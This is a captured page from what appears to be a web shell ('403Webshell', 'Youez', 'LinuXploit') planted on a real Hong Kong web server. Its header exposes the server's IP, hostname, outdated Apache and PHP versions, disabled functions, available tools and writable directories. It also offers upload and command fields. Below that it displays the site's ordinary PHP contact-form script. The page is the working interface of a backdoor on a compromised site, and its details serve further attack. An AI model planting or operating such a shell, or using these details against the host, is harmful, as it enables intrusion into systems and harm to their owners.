403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onecms.hk/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onecms.hk/sendEmail.php
<?php session_start();
if( $_SESSION['security_code'] == $_POST['security_code'] && !empty($_SESSION['security_code'] ) ) {
unset($_SESSION['security_code']);

if(empty($_POST["name"])) { 
	header("Location: contactus.htm?error");
	exit;
}
if(empty($_POST["email"])) { 
	header("Location: contactus.htm?error");
	exit;
} 
/*$gender		= $_POST["gender"];
$name		= $_POST["name"];
$coname		= $_POST["coname"];
$tel		= $_POST["tel"];
$fax		= $_POST["fax"];
$email		= $_POST["email"];
$message	= $_POST["message"];

$INCLUDE_DIR = "";
$to = "";

//require("phpunit.php");
require($INCLUDE_DIR . "class.phpmailer.php");
error_reporting(E_ALL);


$body = '<HTML>';
$body .= '<HEAD>';
$body .= '<TITLE>ONECMS</TITLE>';
$body .= '<META http-equiv=Content-Type content=text/html; charset=UTF-8>';
$body .= '</HEAD>';
$body .= '<body LINK=#0000ff VLINK=#800080 bgcolor=#FFFFFF leftMargin=10 topMargin=20 marginheight=0 marginwidth=0>';
$body .= '<p style="font-family:Arial;font-size=10">';
$body .= '<table width=579 border=0 cellpadding=0 cellspacing=0>';
$body .= '<tr><td height="25" colspan="2" align="center" bgcolor="#CCCCCC" class="txt"><strong>&nbsp;&nbsp;Inquiry Form</strong></td></tr>';
$body .= '<tr><td width="145" height="25" align="right" bgcolor="#F5F5F5" class="txt">Name:&nbsp;&nbsp;</td>';
$body .= '<td width="434" bgcolor="#F5F5F5" class="txt">'. $gender .'&nbsp;'.$name.'</td></tr>';
$body .= '<tr><td height="25" align="right" bgcolor="#F5F5F5" class="txt">Company Name:&nbsp;&nbsp;</td>';
$body .= '<td bgcolor="#F5F5F5" class="txt">'. $coname .'</td></tr>';
$body .= '<tr><td height="25" align="right" bgcolor="#F5F5F5" class="txt">Tel :&nbsp;&nbsp;</td>';
$body .= '<td bgcolor="#F5F5F5" class="txt">'. $tel .'</td></tr>';
$body .= '<tr><td height="25" align="right" bgcolor="#F5F5F5" class="txt">Fax:&nbsp;&nbsp;</td>';
$body .= '<td bgcolor="#F5F5F5" class="txt">'. $fax .'</td></tr>';
$body .= '<tr><td height="25" align="right" bgcolor="#F5F5F5" class="txt">E-Mail:&nbsp;&nbsp;</td>';
$body .= '<td bgcolor="#F5F5F5" class="txt">'. $email .'</td></tr>';
$body .= '<tr><td height="25" align="right" valign="top" bgcolor="#F5F5F5" class="txt">Enquiry:&nbsp;&nbsp;</td>';
$body .= '<td width="434" bgcolor="#F5F5F5" class="txt">'. $message .'</td></tr></table>';
$body .= '</p>';
$body .= '</BODY>';
$body .= '</HTML>';

$FromEmail=$email;
$to="info@onesolution.com.hk";
$FromName="$name";
$subject="Online Enquiry - onecms.hk";
$x_mail = new PHPMailer();
$x_mail->IsSMTP();
$x_mail->Host = "localhost";
$x_mail->SMTPAuth = true;
$x_mail->charSet = "UTF-8";
$x_mail->From = $email;
$x_mail->FromName = $FromName;
$x_mail->AddAddress($to,$to);
$x_mail->WordWrap = 50;
$x_mail->IsHTML(true);
$x_mail->Subject = $subject;
$x_mail->Body    = $body;
$x_mail->Send();*/
header("Location: contactus.html");
} else { ?>
	<script>
	alert('Sorry, you have provided an invalid security code');
	window.location.href='contactus.html';
	</script>
<?php 
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit